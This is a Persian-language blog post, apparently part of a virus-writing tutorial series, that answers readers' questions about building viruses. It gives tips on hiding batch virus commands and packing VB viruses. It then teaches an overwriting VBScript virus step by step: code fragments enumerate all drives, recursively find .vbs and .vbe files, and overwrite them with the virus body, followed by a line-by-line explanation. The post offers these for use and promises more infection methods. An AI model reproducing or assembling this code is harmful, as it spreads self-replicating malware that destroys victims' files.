سلام دوستان.از این که مدتی نبودم معذرت می خوام.تو این مدت سوالاتی پرسیده بودید که تو این پست به همه اونا جواب میدم.اول از همه به دوست خوبم شیطان دراز دست بگم که برای مخفی کردن دستورات در یک فایل bat ،ابتدای کدهای ویروس،کد @echo off را قرار دهد.در ضمن به وسیله برنامه turbo assembler می تواند کدهایش را در قالب com داشته باشد.سرعت اجرای فایل های com بالاست.از masm هم برای اسمبل کردن آن ها می تواند استفاده کند.در این حالت اگر کدها مشکلی نداشته باشند ویروس در عرض 3 ثانیه عمل می کند.(با توجه به کدهای ویروس)
یکی از دوستان هم گفته بود که یه ویروس با ویژوال بیسیک ساخته که فقط در کامپیوتر خودش کار می کنه.خب اگه خود ویروسش اشکال نداره،پس ویندوزی که ویروس درونش اجرا نمیشه فایل های ویژوال بیسیک رو پشتیبانی نمی کنه.یکی از برنامه هایی که این مشکل رو رفع می کنه برنامه upx هست که با یک سرچ در گوگل می تواند آن را دانلود و به راحتی از آن استفاده کند.
آقا آرش هم می خواستن لیست فایل های دیسک c رو داشته باشن.این کار در ویژوال بسیک با کدهای زیر امکان پذیر است:
کدهای بالا مسیر تمام فایل های موجود در دیسک c را نمایش می دهد.مسیر فایل ها در متغیر file قرار می گیرد.نود و نه درصد ویروس های vb از این روش برای پیدا کردن فایل ها استفاده می کنند.سپس فرمت فایل ها رو چک می کنن و اگر مثلا vbs یا vbe بود اون فایل رو آلوده می کنند.یکی از روش های آلوده کردن ساده که به اون رو نویسی هم می گویند کد زیر است.البته این کد مکمل کدهای بالا هست:
Fso.copyfile w.fullname, file.path
در این روش ویروس خودش را در مسیر پیدا شده کپی می کند و اگر فایلی در آن مسیر وجود داشته باشد،اطلاعاتش از بین می رود و آماده دریافت اطلاعات جدید می شود که همان کدهای ویروس است.دستور زیر فرمت فایل پیدا شده رو در متغیر reza قرار می دهد و سپس فرمت را به حروف کوچک تبدیل می کند و اگر vbe یا vbe باشد مسیر فایل را نمایش می دهد:
reza=fso.getextensionname(file.path)
reza=lcase(reza)
if reza="vbs" or reza="vbe" then
msgbox(file)
end if
برای پیدا کردن درایو های کامپیوتر هم از کد زیر استفاده کنید:
set drives=fso.drives
for each drive in drives
if drive.isready then
search(drive & "\")
end If
حالا این چهار تا کد رو ترکیب کنید و یک ویروس استاندارد ویژوال بیسیک اسکریپت بسازید.من این کد ساده رو به چهار قسمت تبدیل کردم که بسیار ساده بشه.
کدهای زیر،ترکیب چهار قسمت کد بالا به صورت یک ویروس است:
اینم از توضیح خط به خط ویروس:
خط اول:تعریف شیئ fso برای کارکردن با فایل ها و درایو ها و ...
خط دوم تا هفتم:تمام درایوهای سیستم رو با شیئ fso پیدا می کنیم و با حلقه for-next یک سری دستورات را برای هر درایوی که آماده است اجرا می کنیم.(if drive.isready then).دستوری که اجرا می شود search drive & "\" می باشد که کنترل برنامه را به function سرچ را می دهد و مسیر درایو را هم به این function می دهد.
خط هشتم:مسیر درایو در متغیر path قرار می گیرید و این آغاز function است.
خط نهم تا هفدهم:فایل های موجود در دیسک را پیدا می کند ولی فایل های موجود در فولدرهای دیسک را پیدا نخواهد کرد.در این جا،درایو به عنوان یک فولدر فرض شده است.یعنی فایل های subfolders که همان فایل های فولدرهای دیسک هستند،فعلا" پیدا نخواهند شد.سپس پسوند فایل ها را پیدا می کند و اگر vbe و vbe باشد آن ها را آلوده می کند.
خط هجدهم تا بیست و یکم:در این جا هم تمام فولدرهای دیسک رو پیدا می کنه و مسیر هر کدوم ز فولدرها در متغیر path قرار میگیره و کدهای function دوباره اجرا می شن.
خط بیست و دوم:پایان function .
اسم این روش آلوده سازی،رونویسی است. آلوده سازی فایل های vb چندان سخت نیست.پس در پست های آینده آلوده سازی به روش های دیگر را هم خواهیم داشت.